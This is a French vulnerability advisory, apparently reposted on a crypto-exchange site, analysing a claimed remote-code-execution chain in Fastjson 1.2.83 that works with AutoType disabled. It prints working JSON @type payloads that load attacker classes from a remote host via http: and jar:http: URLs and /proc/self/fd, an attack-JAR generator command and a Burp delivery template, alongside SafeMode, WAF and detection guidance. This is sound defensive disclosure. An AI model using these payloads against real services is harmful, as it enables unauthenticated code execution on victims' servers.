Analyse approfondie et guide de défense contre la vulnérabilité "Gadget-Free" de Fastjson 1.2.83 (0day)

By: rootdata|2026/07/23 08:41:36

Fastjson 1.2.83 peut toujours déclencher une exécution de code à distance sans avoir besoin de gadgets traditionnels, même avec AutoType=false par défaut, et a été reproduit dans un environnement isolé JDK 8/17/21/25 + Spring Boot Loader.


Résumé


Dans le cadre de la défense contre les vulnérabilités de désérialisation Java traditionnelles, il existe des zones d'ombre dans la compréhension de l'industrie : "AutoType désactivé par défaut est sûr", "fixer le deuxième paramètre de parseObject (type cible de niveau supérieur) est sûr", "vider les dépendances de gadgets de désérialisation de la classe locale est sûr". Cependant, les dernières évolutions techniques dans les attaques et défenses ont complètement brisé ces illusions.


Le GCSA, Alliance mondiale de la cybersécurité, a publié aujourd'hui ce rapport d'analyse technique en exclusivité. Le rapport examine en profondeur comment Fastjson 1.2.83, même avec AutoType=false par défaut, peut toujours déclencher une exécution de code à distance (RCE) sans dépendance à des gadgets traditionnels. Actuellement, cette technique d'exploitation a été reproduite avec succès de bout en bout dans des environnements isolés JDK 8 / 17 / 21 / 25 ainsi que Spring Boot Loader. Cette vulnérabilité n'est pas une "contournement de la liste noire pour rechercher des gadgets locaux", mais inverse directement la logique de détection des métadonnées de classe de Fastjson pour obtenir et autoriser des classes malveillantes distantes. Voici le corps du rapport.


  • Organisme de publication : GCSA, Alliance mondiale de la cybersécurité
  • Type de rapport : Analyse technique exclusive / Rapport d'analyse approfondie des vulnérabilités
  • Date du rapport : 2026-07-21
  • État du rapport : Audit de code source et reproduction dans un environnement isolé terminés
  • Numéro de vulnérabilité : Numéro de recherche interne FJ-GETRESOURCE-RCE (ne correspond pas à un CVE publié)

Fastjson 1.2.83 peut toujours déclencher une exécution de code à distance sans avoir besoin de gadgets traditionnels, même avec AutoType=false par défaut, et a été reproduit dans un environnement isolé JDK 8/17/21/25 + Spring Boot Loader. Il est recommandé d'activer immédiatement le SafeMode et de migrer vers Fastjson 2.x.


  1. Résumé d'exécution


Le ParserConfig.checkAutoType de Fastjson 1.2.83 convertit la valeur @type contrôlable par l'utilisateur en nom de ressource de classe et la transmet à getResourceAsStream du ClassLoader actuel :

String resource = typeName.replace('.', '/') + ".class";

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);


Dans un environnement de ClassLoader fat-jar capable de résoudre des noms de ressources d'URL absolus, un attaquant peut utiliser des remplacements de points pour construire des URL http:, jar:http: et jar:file: afin de télécharger des classes malveillantes avec @JSONType depuis le côté attaquant. Fastjson, après avoir détecté cette annotation, appelle loadClass et retourne directement cette classe avant de vérifier les classes de base dangereuses et la compatibilité des types cibles. La classe est instanciée et initialisée, permettant l'exécution de n'importe quel code.


Cette exploitation ne dépend pas des gadgets de désérialisation traditionnels déjà présents dans le classpath cible, et peut encore être déclenchée même avec Fastjson AutoType=false par défaut. Fixer le type cible de JSON.parseObject ne peut pas empêcher l'exécution ; activer le SafeMode peut bloquer le chemin d'exploitation normal avant l'accès aux ressources.


Ce rapport a utilisé le même payload JSON pour compléter les reproductions suivantes dans un conteneur Linux isolé :



  1. Évaluation de la vulnérabilité



Il n'est pas recommandé de donner une CVSS uniforme de 9.8 uniquement sur la base de la version du composant : le AppClassLoader standard est un contrôle négatif, la chaîne complète moderne de JDK dépend également d'un loader capable de résoudre deux types d'URL JAR absolues et de /proc/self/fd. Dans les applications satisfaisant l'environnement positif de ce rapport, l'effet de la vulnérabilité est une RCE réseau sans authentification.


  1. Portée d'impact et conditions préalables


3.1 Portée confirmée


  • Confirmation d'exécution : Fastjson 1.2.83
  • Confirmation JDK : 8, 17, 21, 25
  • Confirmation du système d'exploitation : Linux ; macOS a également réussi à reproduire JDK 17/21/25 en utilisant /dev/fd
  • Confirmation du loader : Spring Boot 2.7.18 classic loader + JDK 8 ; Spring Boot 3.2.0 loader + JDK 17/21/25
  • Confirmation de l'API : JSON.parse, ainsi que JSON.parseObject avec un type de niveau supérieur fixe

3.2 Remarques sur la portée des versions


La plage 1.2.68--1.2.83 dans la description externe est plus appropriée comme plage de test connue, plutôt que comme version d'introduction de la vulnérabilité. La vérification du code source indique que le code de détection de ressource de classe décisif existe déjà dans 1.2.67 et 1.2.68. Ce rapport n'a été entièrement vérifié que pour 1.2.83 à travers des exécutions dans plusieurs environnements JDK.


3.3 Conditions requises pour l'exploitation


  • L'attaquant peut contrôler le JSON entrant dans Fastjson, et le @type dans l'entrée sera analysé
  • SafeMode n'est pas activé
  • Le ClassLoader chargeant Fastjson peut résoudre le nom de ressource absolu construit en tant qu'URL
  • Le processus victime peut se connecter au service HTTP de l'attaquant
  • La chaîne Linux moderne exige que /proc/self/fd soit lisible, et que le loader puisse résoudre jar:file:/proc/self/fd/N!...
  • Le JDK doit pouvoir créer un cache temporaire JAR distant normal ; cela signifie généralement que le répertoire temporaire de la JVM est accessible en écriture

L'attaquant n'a pas besoin de :


  • Écrire des fichiers dans le classpath cible
  • Avoir des gadgets comme TemplatesImpl, JNDI, C3P0, Commons Collections préinstallés dans le classpath cible
  • Activer Fastjson AutoType
  • Contrôler le deuxième paramètre de JSON.parseObject

  1. Analyse des causes profondes


4.1 Le nom de type utilisateur est traité comme une URL de ressource


Emplacement du code source :

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498


Code clé :

String resource = typeName.replace('.', '/') + ".class";

if (defaultClassLoader != null) {

is = defaultClassLoader.getResourceAsStream(resource);

} else {

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

}


Cette logique suppose que la ressource est simplement un chemin de classpath ordinaire, mais ne limite pas son protocole, sa sémantique de chemin absolu ou sa provenance. Pour un loader fat-jar spécifique, les entrées suivantes deviendront des URL absolues après remplacement :

Nom de type d'entrée : http:..localhost:18081.a


Nom de ressource : http://localhost:18081/a.class donc getResourceAsStream interroge les métadonnées locales et dépasse les limites pour charger des ressources réseau contrôlées par l'attaquant.


4.2 La classe distante avec @JSONType est utilisée comme base d'autorisation


Fastjson utilise son propre ASM ClassReader pour analyser le contenu des ressources :

ClassReader classReader = new ClassReader(is, true);

TypeCollector visitor = new TypeCollector("", new Class[0]);

classReader.accept(visitor);

jsonType = visitor.hasJsonType();


Le côté attaquant n'a qu'à faire en sorte que la classe distante ait l'annotation @JSONType de Fastjson pour que jsonType soit défini sur true. Ici, ce qui est vérifié, ce sont les octets fournis par l'attaquant, et non une classe déjà chargée par un classpath de confiance.


4.3 jsonType déclenche le chargement réel de la classe


Emplacement du code source :


ParserConfig.java:1500-1503

TypeUtils.java:1759-1792


if (autoTypeSupport || jsonType || expectClassFlag) {

boolean cacheClass = autoTypeSupport || jsonType;

clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

}


TypeUtils.loadClass essaie successivement le chargeur explicite, le chargeur de contexte de thread et Class.forName. Dans un environnement positif, le chargeur de contexte de thread résout à nouveau le même nom de ressource absolu, télécharge la classe et exécute defineClass.


4.4 @JSONType retour précoce contournant les vérifications de sécurité ultérieures


Emplacement du code source :


ParserConfig.java:1505-1528


if (clazz != null) {

if (jsonType) {

return clazz; } // Ces vérifications sont effectuées après que jsonType a été retourné.

if (ClassLoader.class.isAssignableFrom(clazz)

|| DataSource.class.isAssignableFrom(clazz)

|| RowSet.class.isAssignableFrom(clazz)) {

throw new JSONException(...); } if (expectClass != null) {

// la vérification d'assignabilité est également effectuée plus tard.

}

}


Une classe distante portant @JSONType :

  • La vérification de la classe de base dangereuse ne sera pas exécutée
  • expectClass.isAssignableFrom(clazz) ne sera pas exécuté
  • Le type de liaison de données fixe ne peut pas empêcher l'exécution avant l'initialisation de la classe

4.5 Suffixe Exception/Error formant un canal de contournement doux


Emplacement du code source :


ParserConfig.java:1537-1542


if (!autoTypeSupport) {

if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {

return null; }

throw new JSONException("autoType n'est pas supporté. " + typeName); }


La première phase du JDK moderne échouera à charger en raison d'un nom de classe interne illégal. En faisant en sorte que le nom de type se termine par Exception, Fastjson ne terminera pas tout le JSON, mais retournera null, permettant au parseur de continuer à traiter les éléments d'énumération FD dans le tableau. Cette branche est la clé de l'exécution interphase à charge unique.


4.6 Emplacement de SafeMode


La vérification de SafeMode se situe avant l'accès aux ressources :

ParserConfig.java:1325-1330


Ainsi, SafeMode dans le chemin par défaut peut empêcher les requêtes réseau. Cependant, AutoTypeCheckHandler se trouve avant SafeMode (ParserConfig.java:1316-1323) ; si l'application enregistre activement un gestionnaire retournant directement un type, une audit séparée est nécessaire, et SafeMode ne doit pas être compris comme une limite absolue pouvant couvrir des gestionnaires personnalisés.


  1. Détails de l'utilisation de la chaîne


5.1 JDK 8 : chargement direct de classes distantes


Forme la plus courte :

{"@type":"http:..localhost:18081.a"}


Chaîne de conversion :

nom de type binaire : http:..localhost:18081.a

URL de ressource : http://localhost:18081/a.class

nom interne de la classe : http://localhost:18081/a


JDK 8 accepte ces noms de classe internes non conventionnels. Le LaunchedURLClassLoader de Spring Boot 2.7 télécharge la classe, puis complète la définition, l'instanciation et l'initialisation, exécutant des commandes malveillantes .

JDK 17+ effectuera également des requêtes réseau, mais refusera les segments de chemin vides dans le nom interne,

ClassFormatError : nom de classe illégal "http://localhost:18081/a"


Ainsi, la forme courte http:.. ne complète RCE que dans JDK 8.


5.2 Première phase du JDK moderne : téléchargement de JAR distants


Le premier élément du tableau à charge unique :

{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}


Résultat de conversion :

URL de ressource :

jar:http://attacker:18081/x!/foo/Exception.class


La méthode sun.net.www.protocol.jar.URLJarFile.retrieve du JDK créera des fichiers temporaires jar_cache*, copiant le JAR distant dans ce fichier.


JDK 17+ refusera ensuite le nom interne jar:http://... de la première phase, mais Fastjson continuera à analyser le tableau en raison du suffixe Exception.


5.3 Deuxième phase du JDK moderne : réouverture du cache FD


Éléments candidats suivants :

{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}


Chaîne de conversion :

nom de type binaire :

jar:file:.proc.self.fd.7!.fd7.Exception URL de ressource :

jar:file:/proc/self/fd/7!/fd7/Exception.class nom interne de la classe :

jar:file:/proc/self/fd/7!/fd7/Exception


Contrairement à http://, chaque composant séparé par / dans ce nom interne est non vide, donc le JVM moderne l'accepte. Dans le JAR d'attaque, une entrée est préparée pour chaque FD candidat :

fd3/Exception.class

fd4/Exception.class

...

fd64/Exception.class


Chaque classe a un nom interne de pool constant qui correspond exactement au type de demande FD correspondant et porte @JSONType. Une fois le gestionnaire de cache réel atteint, Fastjson charge et instancie cette classe, exécutant des commandes .


Le premier hit dans les journaux de chargement de classe du JDK 17 est :

jar:file:.proc.self.fd.7!.fd7.Exception


5.4 Pourquoi un payload est compatible à la fois avec JDK 8 et JDK moderne


JDK 8 accepte directement la première phase jar:http://... de la classe et exécute


Après l'exécution de la commande de la première phase, une RuntimeException("stage-one-stop") est intentionnellement levée, empêchant JDK 8 de continuer à essayer des FD de socket/tuyau non pertinents


JDK 17+ échouera à cause d'un nom illégal de la première phase avant l'initialisation de la classe, puis entrera dans la phase d'énumération FD via un retour doux Exception


  1. Environnement de reproduction et preuves


6.1 Hachage du composant testé


fastjson-1.2.83.jar

SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar

SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar

SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b


6.2 Reproduction en un clic


cd

PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh


Sortie attendue :

JDK 8 : RCE-OK

JDK 17: RCE-OK

JDK 21: RCE-OK

JDK 25: RCE-OK


Le script fera :


  • Compiler le fat jar victime ;
  • Générer un JAR d'attaque avec une classe FD dédiée ;
  • Générer un tableau JSON payload ;
  • Démarrer le service HTTP d'attaque dans un réseau Docker isolé ;
  • Démarrer les conteneurs victimes JDK 8/17/21/25 ;
  • Vérifier chaque conteneur pour le /tmp/fastjson-getresource-rce mappé.

6.3 Génération manuelle du JAR d'attaque et du payload


cd ./target/getresource-repro/build.sh ./target/getresource-repro/build_fd_chain.py \

--host attacker \

--port 18081 \

--fd-root /proc/self/fd \

--min-fd 3 \

--max-fd 64 \

--out-jar target/getresource-repro/www-linux/x \

--out-json target/getresource-repro/fd-payload-linux.json


Produits générés :

Attacker JAR : target/getresource-repro/www-linux/x

JSON payload : target/getresource-repro/fd-payload-linux.json


--host Il est conseillé d'utiliser un label DNS sans point ou une IPv4 décimale. La raison n'est pas de contourner localhost, mais Fastjson remplacera tous les . dans le nom de type par /. Par exemple, l'IPv4 décimale 42130706433 équivaut à 127.0.0.1, mais ne sera pas remplacée par des points.


6.4 Livraison via Burp Suite


Burp est uniquement responsable de l'envoi de JSON aux interfaces victimes où Fastjson est utilisé ; le JAR d'attaque doit toujours être fourni par le service HTTP d'attaque.


Modèle de requête :


POST /parse HTTP/1.1

Host : victim.example

Content-Type : application/json

Connection : close

Content-Length : ... [Placez ici le contenu complet de fd-payload-linux.json.]


Si l'application utilise un type de niveau supérieur fixe, vous pouvez envelopper le tableau selon la structure des champs, par exemple :

{"value":[/* Tous les éléments du tableau dans fd-payload-linux.json */]}


Cette expérience utilise JSON.parseObject(json, BoundEnvelope.class) pour analyser l'enveloppe ci-dessus, le résultat reste RCE-OK et renvoie normalement BoundEnvelope.


6.5 Tests de limites clés



  1. Recommandations de correction et d'atténuation


7.1 Préféré : Migrer de Fastjson 1.x


Migrer en priorité vers Fastjson 2.x maintenu et revérifier tous les types polymorphes, AutoType et les configurations de mode de compatibilité. Ne remplacez pas simplement le JAR sans effectuer de tests de régression.


7.2 Activer immédiatement SafeMode


Configuration du code :

ParserConfig.getGlobalInstance().setSafeMode(true);


Paramètres JVM :

-Dfastjson.parser.safeMode=true


Remarque : Si l'application a enregistré un AutoTypeCheckHandler, il doit être audité ou supprimé, car le handler s'exécute avant la vérification SafeMode.


7.3 Limiter les points d'entrée de désérialisation


  • Ne pas transmettre directement les requêtes non fiables à JSON.parse/JSON.parseObject
  • Rejeter toute forme de métadonnées de type spécial à la passerelle ou à l'entrée de l'application
  • Se limiter à des types Java de niveau supérieur fixes n'est pas une défense suffisante, car les objets imbriqués peuvent toujours traiter @type, et le jsonType de cette vulnérabilité retourne tôt pour contourner la vérification de compatibilité

7.4 Règles temporaires WAF/passerelle


Intercepter temporairement les requêtes où la clé JSON décodée est égale à @type, et couvrir les paramètres URL, le corps de la requête et les objets imbriqués. Ne pas se limiter à rechercher le texte en clair "@type", le lexer Fastjson décodera d'abord les noms de champs, par exemple :

{"\u0040type":"..."}

{"\x40type":"..."}


Les règles WAF ne peuvent être qu'une atténuation, elles ne remplacent pas la mise à niveau des composants et SafeMode.


7.5 Renforcement de la sortie réseau et du runtime


  1. Interdire à la JVM métier d'initier des connexions HTTP/HTTPS vers des adresses externes non nécessaires.
  2. Appliquer une stratégie réseau minimale aux conteneurs d'application.
  3. Limiter l'exposition de /proc/self/fd ou utiliser un bac à sable de conteneur plus strict lorsque la compatibilité le permet.
  4. Auditer le traitement des noms de ressources d'URL absolue par ClassLoader, rejeter les formes de protocoles http:, https:, jar:, file:, etc.
  5. Surveiller les activités anormales jar_cache* dans le répertoire temporaire de la JVM.

  1. Suggestions de détection et IOC


8.1 Caractéristiques côté requête


Se concentrer sur les valeurs @type décodées contenant :

http:..

jar:http:..

jar:file:.proc.self.fd.

jar:file:.dev.fd.

!.fd

Exception


L'apparition isolée d'Exception n'est pas suffisante pour déclencher une alerte, elle doit être analysée en association avec la forme du protocole, @type et les candidats FD consécutifs dans le tableau.


8.2 Caractéristiques côté réseau


  • La JVM demande des JAR sans extension ou .class à des hôtes anormaux
  • Apparition de 1 à 3 requêtes GET/HEAD répétées pendant la même demande de parsing
  • Le chemin de la requête peut contenir /x, /a.class ou des chemins équivalents personnalisés par l'attaquant

8.3 Caractéristiques côté hôte


  • Répertoire temporaire de la JVM créant jar_cache*
  • Processus Java réouvrant son propre fichier via /proc/self/fd/N
  • Journaux de chargement de classe affichant des messages similaires à jar:file:.proc.self.fd.7!.fd7.Exception

jar:file:.proc.self.fd.7!.fd7.Exception


  1. Conclusion


Cette vulnérabilité n'est pas un "contournement de liste noire traditionnel à la recherche de gadgets locaux", mais transforme la logique de détection des métadonnées de classe de Fastjson en un canal d'acquisition et d'autorisation de classe à distance. Le @JSONType retourne tôt, permettant aux classes fournies par l'attaquant d'être acceptées avant les vérifications de classe de base et de type dangereuses ; l'exception échoue le canal souple et le cache temporaire jar:http: du JDK étend les primitives de chargement direct de JDK 8 à JDK 17/21/25.


Ainsi, les jugements courants suivants ne tiennent pas :

  • "AutoType est désactivé par défaut, donc c'est sûr" --- Faux
  • "Fixer le deuxième paramètre de parseObject, donc c'est sûr" --- Faux
  • "Le classpath n'a pas de gadget connu, donc c'est sûr" --- Faux
  • "JKD 17+ rejettera les noms internes http://, donc c'est au plus un SSRF" --- Faux

Dans les déploiements satisfaisant les conditions de loader, réseau et descripteur de fichier validés, ce problème peut évoluer d'une seule requête JSON non authentifiée à une véritable exécution de code à distance. Il est impératif de migrer vers Fastjson 2.x, d'activer immédiatement SafeMode et de resserrer les frontières de sortie réseau et de résolution des ressources ClassLoader.


  1. Pièces jointes et chemins de preuve


Journal de recherche complet : target/FASTJSON_1_2_83_RCE_ANALYSIS.md

Instructions de reproduction : target/getresource-repro/README.md

Chaîne courte JDK 8 : target/getresource-repro/reproduce.sh

Chaîne complète Linux JDK 8/17/21/25 : target/getresource-repro/reproduce_fd_chain.sh

Générateur de JAR/payload d'attaque : target/getresource-repro/build_fd_chain.py

Payload Linux généré : target/getresource-repro/fd-payload-linux.json

JDK 17 class-load evidence : target/getresource-repro/linux-jdk17-classload.log

Prix de --

--

Avertissement : Ce contenu est fourni à des fins de communication et d'information générale uniquement et ne constitue en aucun cas un conseil financier, d'investissement, juridique ou fiscal. Les événements, récompenses, événements en ligne ou toute information mentionnée dans ce document ne doivent pas être considérés comme une recommandation, une sollicitation ou une invitation à acheter, vendre, échanger ou traiter de quelque manière que ce soit des actifs crypto, ni à utiliser un quelconque service. Les actifs crypto sont très volatils et peuvent entraîner des pertes. Les services et événements en ligne de WEEX peuvent ne pas être disponibles dans toutes les régions et sont soumis aux lois, réglementations et conditions d'éligibilité applicables. Il vous appartient de veiller à ce que votre utilisation des services WEEX respecte la législation locale et d'évaluer soigneusement les risques avant de participer à toute activité liée aux cryptomonnaies.

Vous pourriez aussi aimer

iconiconiconiconiconicon
Assistance client:@weikecs
Collaborations commerciales:@weikecs
Trading quantitatif/Market makers:bd@weex.com
Programme VIP:support@weex.com